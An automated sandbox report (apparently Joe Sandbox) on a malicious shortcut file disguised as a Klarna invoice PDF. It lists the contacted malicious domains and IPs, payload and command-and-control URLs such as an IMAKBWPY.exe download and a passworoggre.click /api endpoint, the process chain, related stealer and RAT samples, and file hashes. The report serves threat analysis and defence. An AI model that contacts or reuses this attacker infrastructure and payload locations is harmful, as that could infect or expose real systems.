https://naubeautylus.ch/Headerfrontendhttps://naubeautylus.ch/Headerfrontend07	0%	Avira URL Cloud	safe
http://naubeautylus.ch	0%	Avira URL Cloud	safe
https://naubeautylus.ch/HeaderfrontenduserLOCAL	0%	Avira URL Cloud	safe
https://naubeautylus.ch/HeaderfrontendamFiles=C:	0%	Avira URL Cloud	safe
https://naubeautylus.ch/IMAKBWPY.e	0%	Avira URL Cloud	safe
https://naubeautylus.ch/HeaderfrontendH	0%	Avira URL Cloud	safe
passworoggre.click	0%	Avira URL Cloud	safe
http://appsyndication.org/2006/appsynapplicationapuputil.cppupgradeexclusivetrueenclosuredigestalgor	0%	Avira URL Cloud	safe
https://naubeautylus.ch/	0%	Avira URL Cloud	safe
http://c0rl.m%L	0%	Avira URL Cloud	safe
https://naubeautylus.ch/Headerfrontendoft	0%	Avira URL Cloud	safe
https://passworoggre.click/Q	0%	Avira URL Cloud	safe
https://naubeautylus.ch/Headerfrontendm	0%	Avira URL Cloud	safe
https://naubeautylus.ch/Headerfrontendj	0%	Avira URL Cloud	safe
https://naubeautylus.ch/IMAKBWPY.	0%	Avira URL Cloud	safe
https://naubeautylus.ch/Headerfrontendf	0%	Avira URL Cloud	safe
https://naubeautylus.ch/IM	0%	Avira URL Cloud	safe
https://naubeautylus.ch/Headerfrontendt	0%	Avira URL Cloud	safe
http://crl.microsoftP	0%	Avira URL Cloud	safe
https://naubeautylus.ch/IMAKBWPY	0%	Avira URL Cloud	safe
https://naubeautylus.ch/HeaderfrontendsLMEMP	0%	Avira URL Cloud	safe
http://appsyndication.org/2006/appsyn	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
naubeautylus.ch	62.182.21.105	true	true	unknown
passworoggre.click	104.21.59.81	true	true	unknown
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
sordid-snaked.cyou	false		high
deafeninggeh.biz	false		high
https://naubeautylus.ch/KlarnaInvoice42611.pdf	false	Avira URL Cloud: safe	unknown
https://naubeautylus.ch/IMAKBWPY.exe	false	Avira URL Cloud: safe	unknown
https://passworoggre.click/api	true	Avira URL Cloud: safe	unknown
diffuculttan.xyz	false		high
effecterectz.xyz	false		high
wrathful-jammy.cyou	false		high
https://naubeautylus.ch/Headerfrontend	true	Avira URL Cloud: safe	unknown
awake-weaves.cyou	false		high
immureprech.biz	false		high
passworoggre.click	true	Avira URL Cloud: safe	unknown
debonairnukk.xyz	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://naubeautylus.ch/IMAKBWP	powershell.exe, 00000006.00000002.1948905614.000001EF0069E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.vmware.com/0	pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	pyexec.exe.17.dr, pyexec.exe.18.dr	false		high
http://ocsp.sectigo.com0	pyexec.exe.17.dr, pyexec.exe.18.dr	false		high
https://naubeautylus.ch	powershell.exe, 00000006.00000002.1948905614.000001EF0069E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1948905614.000001EF0022A000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000006.00000002.2073347152.000001EF10072000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.5.dr	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	pyexec.exe.17.dr, pyexec.exe.18.dr	false		high
https://passworoggre.click/	explorer.exe, 00000016.00000003.2570257382.00000000033C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2570568622.0000000003420000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2570696781.0000000003428000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://naubeautylus.ch/Headerfrontend...	mshta.exe, 00000004.00000002.2246667189.000001D048D81000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://naubeautylus.ch/HeaderfrontendWWC:	mshta.exe, 00000004.00000003.2228118175.000001C846286000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2221355733.000001C846286000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod.C:	edb.log.5.dr	false		high
https://naubeautylus.ch/IMAKBW	powershell.exe, 00000006.00000002.1948905614.000001EF0069E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2	edb.log.5.dr	false		high
https://naubeautylus.ch/HeaderfrontendC:	mshta.exe, 00000004.00000002.2244789492.000001C846210000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000006.00000002.2073347152.000001EF10072000.00000004.00000800.00020000.00000000.sdmp	false		high
https://naubeautylus.ch/IMA	powershell.exe, 00000006.00000002.1948905614.000001EF0069E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000006.00000002.2073347152.000001EF10072000.00000004.00000800.00020000.00000000.sdmp	false		high
https://naubeautylus.ch/IMAKB	powershell.exe, 00000006.00000002.1948905614.000001EF0069E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://naubeautylus.ch/IMAKBWPY.ex	powershell.exe, 00000006.00000002.1948905614.000001EF0069E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://passworoggre.click:443/api	explorer.exe, 00000016.00000003.2570257382.00000000033B2000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572041044.00000000033B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://naubeautylus.ch/Headerfrontend$global:?	powershell.exe	false	Avira URL Cloud: safe	unknown
https://naubeautylus.ch/I	powershell.exe, 00000006.00000002.1948905614.000001EF0069E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://passworoggre.click/apiO	explorer.exe, 00000016.00000003.2570257382.00000000033C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2570985206.00000000033CA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572182630.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://naubeautylus.ch/IMAK	powershell.exe, 00000006.00000002.1948905614.000001EF0069E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000006.00000002.1948905614.000001EF00001000.00000004.00000800.00020000.00000000.sdmp	false		high
https://naubeautylus.ch/Headerfrontend2	mshta.exe, 00000004.00000002.2244789492.000001C846210000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000005.00000003.1807192834.000001EFFC242000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.dr	false		high
https://naubeautylus.c	powershell.exe, 00000006.00000002.1948905614.000001EF0069E000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://python.org/dev/peps/pep-0263/	python27.dll.17.dr	false		high
https://naubeautylus.ch/Headerfrontend:	mshta.exe, 00000004.00000003.2228118175.000001C846251000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2221355733.000001C846250000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2245031576.000001C846251000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000006.00000002.2073347152.000001EF10072000.00000004.00000800.00020000.00000000.sdmp	false		high
https://naubeautylus.ch/Headerfrontendhttps://naubeautylus.ch/Headerfrontend07	mshta.exe, 00000004.00000003.2228736011.000001D04BFA5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	pyexec.exe.17.dr, pyexec.exe.18.dr	false		high
https://naubeautylus.ch/HeaderfrontenduserLOCAL	mshta.exe, 00000004.00000002.2245886446.000001C8463F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://naubeautylus.ch/HeaderfrontendamFiles=C:	WMIC.exe, 00000000.00000002.1752768362.0000017A53C70000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000006.00000002.1948905614.000001EF0022A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://naubeautylus.ch	powershell.exe, 00000006.00000002.1948905614.000001EF00854000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000006.00000002.1948905614.000001EF0022A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl3.digicer	pyexec.exe, 00000012.00000002.2151008989.0000000008783000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349529322.0000000008735000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000006.00000002.2073347152.000001EF10072000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	pyexec.exe.17.dr, pyexec.exe.18.dr	false		high
http://www.vmware.com/0/	pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://naubeautylus.ch/IMAKBWPY.e	powershell.exe, 00000006.00000002.1948905614.000001EF0069E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000005.00000002.2998510315.000001EFFC411000.00000004.00000020.00020000.00000000.sdmp	false		high
http://appsyndication.org/2006/appsynapplicationapuputil.cppupgradeexclusivetrueenclosuredigestalgor	powershell.exe, 00000006.00000002.2073347152.000001EF10072000.00000004.00000800.00020000.00000000.sdmp, IMAKBWPY.exe, 00000010.00000000.1937547411.00000000009EB000.00000002.00000001.01000000.0000000F.sdmp, IMAKBWPY.exe, 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmp, IMAKBWPY.exe, 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmp, IMAKBWPY.exe, 00000011.00000000.1942070181.000000000027B000.00000002.00000001.01000000.00000011.sdmp, IMAKBWPY.exe.16.dr	false	Avira URL Cloud: safe	unknown
https://naubeautylus.ch/HeaderfrontendH	mshta.exe, 00000004.00000002.2244755190.000001C846200000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://c0rl.m%L	pyexec.exe, 00000013.00000002.2349529322.0000000008735000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/cps0(	pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://naubeautylus.ch/	mshta.exe, 00000004.00000002.2245031576.000001C846286000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2228118175.000001C846286000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2221355733.000001C846286000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1948905614.000001EF0069E000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000006.00000002.1948905614.000001EF0022A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://passworoggre.click/Q	explorer.exe, 00000016.00000003.2570257382.00000000033C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2570568622.0000000003420000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2570696781.0000000003428000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://naubeautylus.ch/IM	powershell.exe, 00000006.00000002.1948905614.000001EF0069E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://naubeautylus.ch/Headerfrontendoft	mshta.exe, 00000004.00000002.2245031576.000001C846286000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2228118175.000001C846286000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2221355733.000001C846286000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	pyexec.exe.17.dr, pyexec.exe.18.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000005.00000003.1807192834.000001EFFC242000.00000004.00000800.00020000.00000000.sdmp, edb.log.5.dr	false		high
http://www.symauth.com/rpa00	pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://naubeautylus.ch/IMAKBWPY.	powershell.exe, 00000006.00000002.1948905614.000001EF0069E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.info-zip.org/	pyexec.exe, 00000012.00000002.2153513648.0000000008845000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008800000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FA5000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.00000000050D5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://naubeautylus.ch/Headerfrontendj	mshta.exe, 00000004.00000003.2228118175.000001C846251000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2221355733.000001C846250000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2245031576.000001C846251000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://naubeautylus.ch/Headerfrontendm	WMIC.exe, 00000000.00000003.1750973050.0000017A53AF9000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000000.00000002.1752627353.0000017A53B06000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000000.00000003.1751097652.0000017A53B05000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000006.00000002.1948905614.000001EF00001000.00000004.00000800.00020000.00000000.sdmp	false		high
https://naubeautylus.ch/Headerfrontendf	mshta.exe, 00000004.00000003.2228118175.000001C846251000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2221355733.000001C846250000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2245031576.000001C846251000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://naubeautylus.ch/Headerfrontendt	mshta.exe, 00000004.00000002.2244789492.000001C846239000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.microsoftP	explorer.exe, 00000016.00000003.2570257382.00000000033C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2570568622.0000000003420000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://naubeautylus.ch/IMAKBWPY	powershell.exe, 00000006.00000002.1948905614.000001EF0069E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://naubeautylus.ch/HeaderfrontendsLMEMP	mshta.exe, 00000004.00000003.2220749210.000001D04CE59000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2247390039.000001D04CE59000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://appsyndication.org/2006/appsyn	IMAKBWPY.exe	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
62.182.21.105	naubeautylus.ch	United Kingdom		200083	SUB6GB	true
104.21.59.81	passworoggre.click	United States		13335	CLOUDFLARENETUS	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1575736
Start date and time:	2024-12-16 09:13:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	KlarnaInvoice229837.pdf.lnk
Detection:	MAL
Classification:	mal100.troj.evad.winLNK@38/63@6/3
EGA Information:	Successful, ratio: 60%
HCA Information:	Successful, ratio: 96% Number of executed functions: 126 Number of non-executed functions: 265
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27, 184.28.88.176, 23.32.239.9, 23.32.239.56, 18.213.11.84, 34.237.241.83, 50.16.47.176, 54.224.241.105, 162.159.61.3, 172.64.41.3, 23.195.39.65, 2.19.198.27, 4.245.163.56, 23.47.168.24, 13.107.246.63, 172.202.163.200
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, geo2.adobe.com, crl.root-x1.letsencrypt.org.edgekey.net
Execution Graph export aborted for target mshta.exe, PID 6960 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 1344 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:14:05	API Interceptor	1x Sleep call for process: WMIC.exe modified
03:14:11	API Interceptor	2x Sleep call for process: svchost.exe modified
03:14:12	API Interceptor	1x Sleep call for process: mshta.exe modified
03:14:13	API Interceptor	41x Sleep call for process: powershell.exe modified
03:14:25	API Interceptor	1x Sleep call for process: IMAKBWPY.exe modified
03:14:32	API Interceptor	1x Sleep call for process: AcroCEF.exe modified
03:15:23	API Interceptor	1x Sleep call for process: cmd.exe modified
03:15:26	API Interceptor	2x Sleep call for process: explorer.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	104.21.50.161
	Arrival Notice.vbs	Get hash	malicious	Remcos, GuLoader	Browse	104.21.96.1
	SWIFT091816-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	webhook.exe	Get hash	malicious	Unknown	Browse	162.159.138.232
	givenbestupdatedoingformebestthingswithgreatnewsformegive.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	104.21.84.67
	clearentirethingwithbestnoticetheeverythinggooodfrome.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	172.67.187.200
	https://zde.soundestlink.com/ce/c/675fab7ba82aca38b8d991e6/675fabf585cd17d1e3e2bb78/675fac13057112d43b540576?signature=da009f44f7cd45aeae4fbb5addf15ac91fbf725bb5e9405183f25bf1db8c8baa	Get hash	malicious	Unknown	Browse	104.26.10.61
	https://keepsmiling.co.in/front/indexxxx.html?em=NT43NUs6MllJO0ZdVTkzKSA8NzlDOkcgTjhWXU0=	Get hash	malicious	Unknown	Browse	104.21.89.91
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	104.21.79.7
SUB6GB	Wk8eTHnajw.elf	Get hash	malicious	Unknown	Browse	62.182.21.92
	http://cmax.co.uk/bv.PDF	Get hash	malicious	Unknown	Browse	62.182.22.52
	https://cmax.co.uk/bv.PDF	Get hash	malicious	Unknown	Browse	62.182.22.52
	https://cmax.co.uk/qw.PDF	Get hash	malicious	Unknown	Browse	62.182.22.52
	WSGZf4NplR.elf	Get hash	malicious	Mirai	Browse	62.182.18.128
	Transitdokumente.zip	Get hash	malicious	Unknown	Browse	62.182.20.50
	Transitdokumente.zip	Get hash	malicious	Unknown	Browse	62.182.20.50
	KTi123tZU6	Get hash	malicious	Unknown	Browse	62.182.18.121
	s422uUu30Y	Get hash	malicious	Mirai	Browse	185.41.12.55
	Linux_amd64	Get hash	malicious	Unknown	Browse	185.41.8.59

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Arrival Notice.vbs	Get hash	malicious	Remcos, GuLoader	Browse	62.182.21.105
	SWIFT091816-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	62.182.21.105
	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	62.182.21.105
	jignesh.exe	Get hash	malicious	Quasar	Browse	62.182.21.105
	skibidi.exe	Get hash	malicious	Quasar	Browse	62.182.21.105
	vanilla.exe	Get hash	malicious	Quasar	Browse	62.182.21.105
	givenbestupdatedoingformebestthingswithgreatnewsformegive.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	62.182.21.105
	clearentirethingwithbestnoticetheeverythinggooodfrome.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	62.182.21.105
	c2.hta	Get hash	malicious	XWorm	Browse	62.182.21.105
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Vidar, Xmrig	Browse	62.182.21.105
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	104.21.59.81
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, Vidar, Xmrig	Browse	104.21.59.81
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	104.21.59.81
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Vidar, Xmrig	Browse	104.21.59.81
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	104.21.59.81
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, PureLog Stealer, Vidar	Browse	104.21.59.81
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.59.81
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.59.81
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.59.81
	wN8pQhRNnu.exe	Get hash	malicious	LummaC	Browse	104.21.59.81
37f463bf4616ecd445d4a1937da06e19	Arrival Notice.vbs	Get hash	malicious	Remcos, GuLoader	Browse	62.182.21.105
	SWIFT091816-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	62.182.21.105
	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	62.182.21.105
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, Vidar, Xmrig	Browse	62.182.21.105
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	62.182.21.105
	c2.hta	Get hash	malicious	XWorm	Browse	62.182.21.105
	lem.exe	Get hash	malicious	Vidar	Browse	62.182.21.105
	Setup.msi	Get hash	malicious	Vidar	Browse	62.182.21.105
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	62.182.21.105
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, PureLog Stealer, Vidar	Browse	62.182.21.105

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Roaming\UltraChrome\msvcr90.dll	upgrade.hta	Get hash	malicious	DarkVision Rat	Browse
	file.ps1	Get hash	malicious	LummaC Stealer	Browse
	bUAmCazc.ps1	Get hash	malicious	LummaC Stealer	Browse
	KBKHHYI29L.msi	Get hash	malicious	Amadey	Browse
	http://winningwriters.com	Get hash	malicious	Unknown	Browse
	evhopi.ps1	Get hash	malicious	LummaC	Browse
	9nobq4rqr0.exe	Get hash	malicious	Unknown	Browse
	Rechnung0192839182.pdf	Get hash	malicious	Unknown	Browse
	tera10.zip	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.307374939990025
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrQ:KooCEYhgYEL0In
MD5:	BA5EDD24C54EADA7E88562B5260B31BC
SHA1:	5E00E87351BE51E2DDCBD7A977DDB39A4E780917
SHA-256:	9D6E6D5181BE73DB25FBDDA6362722EC99AA6C47C83358295348A14F5FBFD2CE
SHA-512:	DA74BFE74107E8520EBAE4FBCDE8026F694F4CBCA5CACE62531C4E52559838C9386C8B7FC5CC2606BC77BCA1072A9B5BA43F8C696AB749E88677DC08C129E709
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x7d1cdfbf, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.422207335179173
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:xaza/vMUM2Uvz7DO
MD5:	26F93DA6AC6DA617BD9B622F4EA1AAC3
SHA1:	D40B3B3AC6373404251162C6D10A6D0EF6F8AC69
SHA-256:	98B0C0634840D0BF133B9805D5DE4C961C968A58F0D7ED09469F279F0069BCD6
SHA-512:	EC6430AB6AF2D0EFF83D8FC5FFFE5BAB2BEAD0ED3381A75ECED4183F25C18BF23D875B6DD47A99F6AC790103FDB779485D321E3DC78754216F5D87C0DE20D90C
Malicious:	false
